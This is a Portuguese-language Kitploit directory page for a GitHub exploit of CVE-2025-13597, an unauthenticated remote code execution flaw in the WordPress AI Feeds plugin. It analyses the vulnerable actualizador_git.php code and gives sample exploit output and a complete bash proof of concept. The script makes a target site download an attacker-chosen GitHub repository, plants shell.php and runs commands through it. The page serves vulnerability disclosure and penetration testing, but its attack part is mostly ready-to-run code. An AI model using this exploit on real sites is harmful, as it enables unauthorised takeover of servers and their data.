Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-13597 — AI Feeds <= 1.0.11 - Upload Arbitrário de Arquivos Não Autenticado | Kitploit
Ferramentas/GitHubGitHub/d0n601/cve-2025-13597
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoFerramenta de Acesso Remoto
GitHubd0n601/cve-2025-13597

CVE-2025-13597

AI Feeds <= 1.0.11 - Upload Arbitrário de Arquivos Não Autenticado

Ver Repositório
1há 9 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

AI Feeds <= 1.0.11 - Upload de Arquivo Arbitrário Não Autenticado

O plugin WordPress AI Feeds versões 1.0.11 e inferiores contém uma vulnerabilidade de execução remota de código não autenticada no arquivo actualizador_git.php. Este arquivo é acessível diretamente via HTTP sem qualquer verificação de autenticação ou autorização, permitindo que atacantes não autenticados baixem repositórios GitHub arbitrários e sobrescrevam arquivos do plugin, levando à execução remota de código.

Exploits Resumidos

Um CVE-2025-13597.py é fornecido para demonstrar um atacante remoto enviando shell.php e executando código remoto:

root@kitploit:~
python3 CVE-2025-13597.py -t http://techcorp.cc -o d0n601 -r minimal-rce -k github_pat_YOURKEYHERE -c whoami
[*] Exploiting actualizador_git.php vulnerability...
[*] Downloading and installing shell from GitHub repository: d0n601/minimal-rce
Descargando d0n601/minimal-rce@main ...
Eliminando entradas extra...
Copiando archivos...
OK. Mirror aplicado en: /var/www/html/wp-content/plugins/ai-feeds

[*] Exploit executed. Checking if shell.php was created...

[*] Testing shell access...
www-data


[*] Shell should be accessible at:
    http://techcorp.cc/wp-content/plugins/ai-feeds/shell.php?cmd=COMMAND

Análise Técnica

A vulnerabilidade existe em /wp-content/plugins/ai-feeds/actualizador_git.php. Este arquivo implementa um sistema de espelhamento de repositórios GitHub que pode ser acessado diretamente via HTTP sem quaisquer controles de segurança.

Análise do Caminho do Código

  1. Acesso Direto ao Arquivo (Linha 1-17): O arquivo carece da verificação padrão do WordPress ABSPATH (if (!defined('ABSPATH')) exit;) que impede o acesso HTTP direto. Os parâmetros são lidos diretamente de $_GET sem validação:

    root@kitploit:~
    $OWNER = $_GET['owner'] ?? 'cibeles';
    $REPO  = $_GET['repo']  ?? 'svn_ai-feeds';
    $REF   = $_GET['ref']   ?? 'main';
    $TOKEN = $_GET['token'] ?? 'PON_AQUI_TU_TOKEN_PAT';
    
  2. Validação do Token (Linha 26): A única validação verifica se o token está vazio ou é o valor padrão. Nenhuma autenticação ou autorização é realizada:

    root@kitploit:~
    if ($TOKEN === '' || $TOKEN === 'PON_AQUI_TU_TOKEN_PAT') { 
        http_response_code(400); 
        exit("Falta token\n"); 
    }
    
  3. Requisição à API do GitHub (Linha 31, 35-58): O script baixa um arquivo ZIP da API do GitHub usando parâmetros controlados pelo usuário:

    root@kitploit:~
    $apiUrl = "https://api.github.com/repos/{$OWNER}/{$REPO}/zipball/" . rawurlencode($REF);
    curl_download($apiUrl, $zip, $TOKEN);
    

    A função curl_download() envia o token no cabeçalho Authorization, mas não realiza nenhuma validação do proprietário ou conteúdo do repositório.

  4. Extração do ZIP e Operações de Arquivo (Linha 144-169): O ZIP baixado é extraído e os arquivos são copiados diretamente para o diretório do plugin:

    root@kitploit:~
    $zipArc->extractTo($extractDir);
    $rootInsideZip = $extractDir . DIRECTORY_SEPARATOR . $entries[0];
    rrcopy_into($rootInsideZip, $cwd, $PRESERVE);
    

    A função rrcopy_into() copia recursivamente todos os arquivos do repositório extraído para o diretório de trabalho atual (diretório do plugin), sobrescrevendo arquivos existentes.

  5. Exclusão de Arquivos (Linha 164-165): Arquivos não presentes no repositório baixado são excluídos:

    root@kitploit:~
    mirror_delete_extras($cwd, $keepSet, $PRESERVE);
    

    A função mirror_delete_extras() exclui quaisquer arquivos no diretório do plugin que não existam no manifesto do repositório.

Prova de Conceito

root@kitploit:~
TARGET="http://example.com"
OWNER="your_username"
REPO="minimal-rce"
TOKEN="github_pat_blablabla"

COMMAND="whoami"

echo "[*] Exploiting actualizador_git.php vulnerability..."
echo "[*] Downloading and installing shell from GitHub repository: ${OWNER}/${REPO}"

curl -s "${TARGET}/wp-content/plugins/ai-feeds/actualizador_git.php?owner=${OWNER}&repo=${REPO}&ref=main&token=${TOKEN}"

echo ""
echo "[*] Exploit executed. Checking if shell.php was created..."
echo ""

echo "[*] Testing shell access..."
curl -s "${TARGET}/wp-content/plugins/ai-feeds/shell.php?cmd=${COMMAND}"

echo ""
echo ""
echo "[*] Shell should be accessible at:"
echo "    ${TARGET}/wp-content/plugins/ai-feeds/shell.php?cmd=COMMAND"
Baixar ferramenta